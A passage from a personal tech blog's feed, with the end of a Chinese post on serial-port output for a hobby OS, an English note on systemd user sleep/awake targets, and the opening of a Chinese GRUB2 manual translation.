&lt;p&gt;&lt;strong&gt;串行通讯端口&lt;&#x2F;strong&gt; （Serial Port，aka COM）通常由 &lt;em&gt;通用异步收发传输器&lt;&#x2F;em&gt; （Universal Asynchronous Receiver&#x2F;Transmitter， UART）进行控制，其内部时钟波特率通常是 115200，目前比较常用的是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gunkies.org&#x2F;wiki&#x2F;EIA_RS-232_serial_line_interface&quot;&gt;EIA-RS-232&lt;&#x2F;a&gt; 标准，针脚数通常是 25 针或 9 针（后者用的比较多）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;rs232-serial-port.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;更多的微机原理知识这里不再赘叙，我们接下来简单讲讲串口如何使用&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;单个串口的 &lt;em&gt;寄存器组&lt;&#x2F;em&gt; 会被映射到指定的 IO port 起始的区域，我们通过访问串口的不同寄存器进行相应的操作，通常情况下串口映射到端口的&lt;strong&gt;基地址&lt;&#x2F;strong&gt;如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意的是 &lt;em&gt;仅有前两个串口的端口地址是固定不变的，其余串口的端口地址未必如下表所示&lt;&#x2F;em&gt;
对于守旧的 BIOS 用户，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.cs.yale.edu&#x2F;flint&#x2F;feng&#x2F;cos&#x2F;resources&#x2F;BIOS&#x2F;Resources&#x2F;biosdata.htm&quot;&gt;BIOS Data Area&lt;&#x2F;a&gt; 可以帮助你获取包括 COM 地址在内的各种信息
对于 不抽传统香烟的 现代 UEFI 用户，&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;COM Port&lt;&#x2F;th&gt;&lt;th&gt;IO Port Base&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;COM1&lt;&#x2F;td&gt;&lt;td&gt;0x3F8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM2&lt;&#x2F;td&gt;&lt;td&gt;0x2F8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM3&lt;&#x2F;td&gt;&lt;td&gt;0x3E8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM4&lt;&#x2F;td&gt;&lt;td&gt;0x2E8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM5&lt;&#x2F;td&gt;&lt;td&gt;0x5F8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM6&lt;&#x2F;td&gt;&lt;td&gt;0x4F8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM7&lt;&#x2F;td&gt;&lt;td&gt;0x5E8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;COM8&lt;&#x2F;td&gt;&lt;td&gt;0x4E8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;不同偏移的寄存器含义如下（来自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;wiki.osdev.org&#x2F;Serial_Ports&quot;&gt;OSDEV wiki&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;IO Port Offset&lt;&#x2F;th&gt;&lt;th&gt;Setting of DLAB&lt;&#x2F;th&gt;&lt;th&gt;I&#x2F;O Access&lt;&#x2F;th&gt;&lt;th&gt;Register mapped to this port&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;+0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;Read&lt;&#x2F;td&gt;&lt;td&gt;Receive buffer.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+0&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;Write&lt;&#x2F;td&gt;&lt;td&gt;Transmit buffer.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+1&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;Interrupt Enable Register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+0&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;With DLAB set to 1, this is the least significant byte of the divisor value for setting the baud rate.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+1&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;With DLAB set to 1, this is the most significant byte of the divisor value.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+2&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&lt;&#x2F;td&gt;&lt;td&gt;Interrupt Identification&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+2&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Write&lt;&#x2F;td&gt;&lt;td&gt;FIFO control registers&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+3&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;Line Control Register. The most significant bit of this register is the DLAB.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+4&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;Modem Control Register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+5&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&lt;&#x2F;td&gt;&lt;td&gt;Line Status Register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+6&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&lt;&#x2F;td&gt;&lt;td&gt;Modem Status Register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;+7&lt;&#x2F;td&gt;&lt;td&gt;-&lt;&#x2F;td&gt;&lt;td&gt;Read&#x2F;Write&lt;&#x2F;td&gt;&lt;td&gt;Scratch Register.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;方便起见，在启动阶段我们就不编写太过于复杂的串口驱动了，简单来说，要通过串口进行字符输出，我们首先需要往一部分寄存器中写入特定数据进行串口初始化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;int boot_init_com_internal(size_t base_port)
{
    &amp;#x2F;* disable all interrupts *&amp;#x2F;
    outb(base_port + COM_REG_IER, 0x00);

    &amp;#x2F;* enable DLAB to set bound rate divisor *&amp;#x2F;
    outb(base_port + COM_REG_LCR, 0x80);

    &amp;#x2F;* set divisor to 38400 baud *&amp;#x2F;
    outb(base_port + COM_REG_DLL, 0x03);
    outb(base_port + COM_REG_DLM, 0x00);

    &amp;#x2F;* 8 data bits, parity off, 1 stop bit, DLAB latch off *&amp;#x2F;
    outb(base_port + COM_REG_LCR, 0x03);

    &amp;#x2F;* enable FIFO *&amp;#x2F;
    outb(base_port + COM_REG_FCR, 0xC7);

    &amp;#x2F;* enable IRQs, set RTS&amp;#x2F;DSR *&amp;#x2F;
    outb(base_port + COM_REG_MCR, 0x0B);

    &amp;#x2F;* set in loopback mode and test serial chip *&amp;#x2F;
    outb(base_port + COM_REG_MCR, 0x1E);

    &amp;#x2F;* write a byte to test serial chip *&amp;#x2F;
    outb(base_port + COM_REG_TX, &amp;quot;arttnba3&amp;quot;[0]);

    &amp;#x2F;* check if serial is faulty *&amp;#x2F;
    if (inb(base_port + COM_REG_RX) != &amp;quot;arttnba3&amp;quot;[0]) {
        return -1;
    }

    &amp;#x2F;* set in normal mode *&amp;#x2F;
    outb(base_port + COM_REG_MCR, 0x0F);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后直接往串口里 &lt;code&gt;outb()&lt;&#x2F;code&gt; 即可输出字符：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static void boot_putchar_com(uint16_t ch)
{
    uint8_t res;

    &amp;#x2F;* wait for the port to be ready *&amp;#x2F;
    do {
        res = inb(com_base + COM_REG_LSR);
        res &amp;amp;= 0x20;
    } while (res == 0);

    outb(com_base, ch);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们为 QEMU 附加 &lt;code&gt;-nographic&lt;&#x2F;code&gt; 的参数进行测试，可以看到串口输出的数据一切正常：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Ctrl + A&lt;&#x2F;code&gt; 后再 &lt;code&gt;C&lt;&#x2F;code&gt; 进入 QEMU 调试台，&lt;code&gt;q&lt;&#x2F;code&gt; 退出&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;qemu-nographic-serial-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhen-ji-qi-dong&quot;&gt;&lt;strong&gt;真机启动&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;接下来我们使用 &lt;code&gt;make&lt;&#x2F;code&gt; 命令编译代码，将 &lt;code&gt;out&lt;&#x2F;code&gt; 目录下的 &lt;code&gt;kernel.bin&lt;&#x2F;code&gt; 文件放到 U 盘 EFI 分区中的 &lt;code&gt;boot&lt;&#x2F;code&gt; 目录下，重启计算机并选择 U 盘启动，接下来——&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ClosureOS，启动——！！！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;closureos-real-machine-boot.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们成功制作完成了一个&lt;strong&gt;能够在真机上运行的操作系统，而并非大部分教科书上的那些只能在虚拟机里跑的小玩具&lt;&#x2F;strong&gt;，虽然目前仅有最基本的雏形 ：）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们将在后续文章当中逐步完善这个操作系统（   ）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;0xff-reference&quot;&gt;&lt;strong&gt;0xFF. Reference&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;elixir.bootlin.com&#x2F;linux&#x2F;latest&#x2F;source&quot;&gt;Linux source code - Bootlin&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html&quot;&gt;Multiboot2 Specification version 2.0&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;wiki.osdev.org&#x2F;Main_Page&quot;&gt;OSDev wiki&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;UEFIBlog&quot;&gt;UEFI 和 BIOS 探秘&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;wiki.osdev.org&#x2F;PC_Screen_Font&quot;&gt;PC Screen Font&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;os.phil-opp.com&#x2F;&quot;&gt;Writing an OS in Rust&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pendrivelinux.com&#x2F;install-grub2-on-usb-from-ubuntu-linux&#x2F;&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pendrivelinux.com&#x2F;install-grub2-on-usb-from-ubuntu-linux&#x2F;&quot;&gt;pendrivelinux.com&#x2F;insta&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pendrivelinux.com&#x2F;install-grub2-on-usb-from-ubuntu-linux&#x2F;&quot;&gt;ll-grub2-on-usb-from-ubuntu-linux&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;oscarcx.com&#x2F;tech&#x2F;usb-boot-winpe-and-linux-via-grub2.html&quot;&gt;用grub2制作多重引导的WinPE&amp;amp;Linux启动U盘&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gunkies.org&#x2F;wiki&#x2F;Main_Page&quot;&gt;Computer History Wiki&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;wiki.osdev.org&#x2F;Serial_Ports&quot;&gt;Serial Ports&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.scs.stanford.edu&#x2F;09wi-cs140&#x2F;pintos&#x2F;specs&#x2F;pc16550d.pdf&quot;&gt;PC16550D Universal Asynchronous Receiver&#x2F;Transmitter with FIFOs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.keil.com&#x2F;dd&#x2F;vtr&#x2F;3880&#x2F;9788.htm&quot;&gt;NXP (founded by Philips) LPC2148 — UARTs: (UART0-1)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Systemd user unit that depends on system unit (sleep.target)</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/systemd-user-unit-that-depends-on-system-unit-sleep.target/"/>
        <id>https://vercel.juzhong.asia/obsidian/systemd-user-unit-that-depends-on-system-unit-sleep.target/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/systemd-user-unit-that-depends-on-system-unit-sleep.target/">&lt;h1 id=&quot;systemd-user-unit-that-depends-on-system-unit-sleep-target&quot;&gt;Systemd user unit that depends on system unit (sleep.target)&lt;&#x2F;h1&gt;
&lt;p&gt;You can do the following to achieve &lt;code&gt;sleep.target&lt;&#x2F;code&gt; (and a complementary &lt;code&gt;awake.target&lt;&#x2F;code&gt;) in userspace:&lt;&#x2F;p&gt;
&lt;p&gt;Create the following service template in &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;sleep@.service&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=%I sleep hook
PartOf=sleep.target

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl --user --machine=%i@ start sleep.target
ExecStop=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl --user --machine=%i@ start awake.target

[Install]
WantedBy=sleep.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Create an instance of it for your user (don&#x27;t start it):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable sleep@$(whoami)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now for the equivalent &lt;code&gt;sleep.target&lt;&#x2F;code&gt; for users:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=User-level Sleep Target
Conflicts=awake.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And &lt;code&gt;awake.target&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=User-level Awake Target
Conflicts=sleep.target

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Enable with &lt;code&gt;systemctl --user enable awake.target&lt;&#x2F;code&gt; so that it starts at login&lt;&#x2F;p&gt;
&lt;p&gt;When either of these targets are reached, they stop the other target, thanks to the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;systemd&#x2F;man&#x2F;latest&#x2F;systemd.unit.html#Conflicts=&quot;&gt;&lt;code&gt;Conflicts&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; directive, which makes them mutually exclusive targets.&lt;&#x2F;p&gt;
&lt;p&gt;For my use-case, I actually found the &lt;code&gt;awake.target&lt;&#x2F;code&gt; to be more useful than the &lt;code&gt;sleep.target&lt;&#x2F;code&gt; because I could make some user services use the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;systemd&#x2F;man&#x2F;latest&#x2F;systemd.unit.html#PartOf=&quot;&gt;&lt;code&gt;PartOf&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; directive to start and stop with it.&lt;&#x2F;p&gt;
&lt;p&gt;The only use-case I could think of that would benefit from the &lt;code&gt;sleep&lt;&#x2F;code&gt; target is if someone was trying to make use &lt;code&gt;systemd-inhibit&lt;&#x2F;code&gt; to do some last minute cleanup before the system goes to sleep. This would also mean delaying the actual sleep target until after the work is done.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;may-deal-with&quot;&gt;may deal with&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;systemd --user&lt;&#x2F;code&gt; runs as a separate process from the &lt;code&gt;systemd --system&lt;&#x2F;code&gt; process. User units can not reference or depend on system units.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;You can also create a &quot;proxy&quot; for all your sleep&#x2F;suspend targets between service and user instances.&lt;&#x2F;p&gt;
&lt;p&gt;Create this file on &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;suspend@.service&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Call user&amp;#x27;s suspend target after system suspend
After=suspend.target

[Service]
Type=oneshot
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl --user --machine=%i@ start --wait suspend.target

[Install]
WantedBy=suspend.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And enable it by running &lt;code&gt;sudo systemctl daemon-reload &amp;amp;&amp;amp; sudo systemctl enable suspend@youruser&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Now create your user &lt;code&gt;suspend.target&lt;&#x2F;code&gt; at &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;suspend.target&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=User level suspend target
StopWhenUnneeded=yes
Wants=my-etc-service.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then add your services on the &lt;code&gt;Wants&lt;&#x2F;code&gt; list and make sure to run &lt;code&gt;systemctl --user daemon-reload&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;or-using-this-solution&quot;&gt;or using this solution&lt;&#x2F;h2&gt;
&lt;p&gt;Adding to the response from @kyrias, here&#x27;s a way to create your own user level sleep.target:&lt;&#x2F;p&gt;
&lt;p&gt;~&#x2F;.local&#x2F;share&#x2F;systemd&#x2F;user&#x2F;sleep.target&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=User level sleep target
StopWhenUnneeded=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;~&#x2F;.local&#x2F;bin&#x2F;watch_sleep&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash

dbus-monitor --system &amp;quot;type=&amp;#x27;signal&amp;#x27;,interface=&amp;#x27;org.freedesktop.login1.Manager&amp;#x27;,member=PrepareForSleep&amp;quot; | while read x; do
    case &amp;quot;$x&amp;quot; in
        *&amp;quot;boolean false&amp;quot;*) systemctl --user --no-block stop sleep.target;;
        *&amp;quot;boolean true&amp;quot;*) systemctl --user --no-block start sleep.target;;
    esac
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;~&#x2F;.local&#x2F;share&#x2F;systemd&#x2F;user&#x2F;watch_sleep.service&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=watch for sleep signal to start sleep.target

[Service]
ExecStart=%h&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;watch_sleep
Restart=on-failure

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>grub2详解(翻译和整理官方手册)</title>
        <published>2024-06-14T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/grub2详解-翻译和整理官方手册/"/>
        <id>https://vercel.juzhong.asia/obsidian/grub2详解-翻译和整理官方手册/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/grub2详解-翻译和整理官方手册/">&lt;h1 id=&quot;grub2xiang-jie-fan-yi-he-zheng-li-guan-fang-shou-ce&quot;&gt;grub2详解(翻译和整理官方手册)&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;grub2xiang-jie-fan-yi-he-zheng-li-guan-fang-shou-ce-1&quot;&gt;grub2详解(翻译和整理官方手册)&lt;&#x2F;h2&gt;
&lt;p&gt;本文翻译了grub2&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;index.html#SEC_Contents&quot;&gt;官方手册&lt;&#x2F;a&gt;的绝大部分内容，然后自己整理了一下。因为内容有点杂，所以章节安排上可能不是太合理，敬请谅解。&lt;&#x2F;p&gt;
&lt;p&gt;本文主要介绍的是grub2，在文末对传统grub进行了简述，但在grub2的内容部分中包含了很多grub2和传统grub的对比。&lt;&#x2F;p&gt;
&lt;p&gt;如果仅仅是想知道grub2中的boot.img&#x2F;core.img&#x2F;diskboot.img&#x2F;kernel.img或者传统grub中stage1&#x2F;stage1_5&#x2F;stage2文件的作用，请直接跳至&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;junmajinlong.github.io&#x2F;linux&#x2F;grub2&#x2F;index.html#blog122&quot;&gt;相关内容处&lt;&#x2F;a&gt;阅读。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-1-ji-chu-nei-rong&quot;&gt;1.1 基础内容&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-1-grub2he-grubde-qu-bie&quot;&gt;1.1.1 grub2和grub的区别&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Changes-from-GRUB-Legacy.html#Changes-from-GRUB-Legacy&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Changes-from-GRUB-Legacy.html#Changes-from-GRUB-Legacy&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;只说明几个主要的区别：&lt;&#x2F;p&gt;
&lt;p&gt;1.配置文件的名称改变了。在grub中，配置文件为grub.conf或menu.lst(grub.conf的一个软链接)，在grub2中改名为grub.cfg。&lt;&#x2F;p&gt;
&lt;p&gt;2.grub2增添了许多语法，更接近于脚本语言了，例如支持变量、条件判断、循环。&lt;&#x2F;p&gt;
&lt;p&gt;3.grub2中，设备分区名称从1开始，而在grub中是从0开始的。&lt;&#x2F;p&gt;
&lt;p&gt;4.grub2使用img文件，不再使用grub中的stage1、stage1.5和stage2。&lt;&#x2F;p&gt;
&lt;p&gt;5.支持图形界面配置grub，但要安装grub-customizer包，epel源提供该包。&lt;&#x2F;p&gt;
&lt;p&gt;6.在已进入操作系统环境下，不再提供grub命令，也就是不能进入grub交互式界面，只有在开机时才能进入，算是一大缺憾。&lt;&#x2F;p&gt;
&lt;p&gt;7.在grub2中没有了好用的find命令，算是另一大缺憾。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-2-ming-ming-xi-guan-he-wen-jian-lu-jing-biao-shi-fang-shi&quot;&gt;1.1.2 命名习惯和文件路径表示方式&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Naming-convention.html#Naming-convention&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Naming-convention.html#Naming-convention&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
